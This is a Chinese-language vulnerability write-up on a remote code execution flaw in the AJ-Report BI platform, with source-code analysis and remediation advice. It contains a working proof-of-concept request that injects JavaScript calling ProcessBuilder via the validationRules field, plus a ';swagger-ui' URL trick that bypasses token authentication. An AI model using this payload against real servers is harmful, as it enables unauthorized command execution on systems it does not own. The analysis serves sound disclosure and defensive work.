AJ-Report代码执行漏洞分析
字数 965 2025-08-19 12:41:58
AJ-Report代码执行漏洞分析报告
漏洞概述
AJ-Report是一个全开源的BI平台,在其DataSetParamController中的verification方法存在未过滤参数的问题,导致可以执行JavaScript函数,进而实现远程代码执行。
漏洞环境搭建
-
获取源码:
git clone https://gitee.com/anji-plus/report.git -
配置MySQL数据库:
- 创建数据库:
aj_report - 导入SQL文件:位于
resources/db.migration目录下
- 创建数据库:
-
配置IDEA开发环境:
- 使用IDEA打开下载的源码
-
配置文件存储路径
漏洞复现
请求示例
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: 192.168.0.100:9095
Content-Type: application/json;charset=UTF-8
Connection: close
{
"sampleItem":"1",
"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\\"whoami\\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"
}
关键点
- 通过
validationRules参数注入恶意JavaScript代码 - 使用
;swagger-ui/绕过权限验证
漏洞分析
漏洞路径
\report\report-core\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java
漏洞代码
@PostMapping("/verification")
public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {
DataSetParamDto dto = new DataSetParamDto();
dto.setSampleItem(param.getSampleItem());
dto.setValidationRules(param.getValidationRules());
return responseSuccessWithData(dataSetParamService.verification(dto));
}
参数接收类
@Data
public class DataSetParamValidationParam implements Serializable {
@NotBlank(message = "sampleItem not empty")
private String sampleItem;
@NotBlank(message = "validationRules not empty")
private String validationRules;
}
服务层实现
位于DataSetParamServiceImpl.java中的关键方法:
@Override
public Object verification(DataSetParamDto dataSetParamDto) {
String validationRules = dataSetParamDto.getValidationRules();
if (StringUtils.isNotBlank(validationRules)) {
try {
engine.eval(validationRules); // 执行JavaScript代码
if(engine instanceof Invocable){
Invocable invocable = (Invocable) engine;
Object exec = invocable.invokeFunction("verification", dataSetParamDto);
ObjectMapper objectMapper = new ObjectMapper();
if (exec instanceof Boolean) {
return objectMapper.convertValue(exec, Boolean.class);
}else {
return objectMapper.convertValue(exec, String.class);
}
}
} catch (Exception ex) {
throw BusinessExceptionBuilder.build(ResponseCode.EXECUTE_JS_ERROR, ex.getMessage());
}
}
return true;
}
JavaScript引擎初始化
private ScriptEngine engine;
{
ScriptEngineManager manager = new ScriptEngineManager();
engine = manager.getEngineByName("JavaScript");
}
权限绕过分析
正常访问限制
正常情况下访问/dataSetParam/verification路由需要token验证
绕过方法
在TokenFilter.java中,放行了swagger-ui和swagger-resources:
if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {
filterChain.doFilter(request, response);
return;
}
绕过方式
使用URL截断;绕过鉴权:
POST /dataSetParam/verification;swagger-ui HTTP/1.1
POST /dataSetParam/verification;swagger-resources HTTP/1.1
漏洞原理总结
verification方法接收validationRules参数并直接传递给JavaScript引擎执行- 攻击者可以构造恶意的JavaScript代码,通过Java反射机制执行系统命令
- 使用
;URL截断技术绕过权限验证 - 漏洞的根本原因是未对用户输入的JavaScript代码进行任何过滤或沙箱限制
修复建议
- 对
validationRules参数进行严格过滤,禁止危险函数和Java反射调用 - 实现JavaScript沙箱环境,限制可访问的Java类和函数
- 修改权限验证逻辑,避免使用简单的URI包含判断
- 对
;等特殊字符进行规范化处理,防止URL截断攻击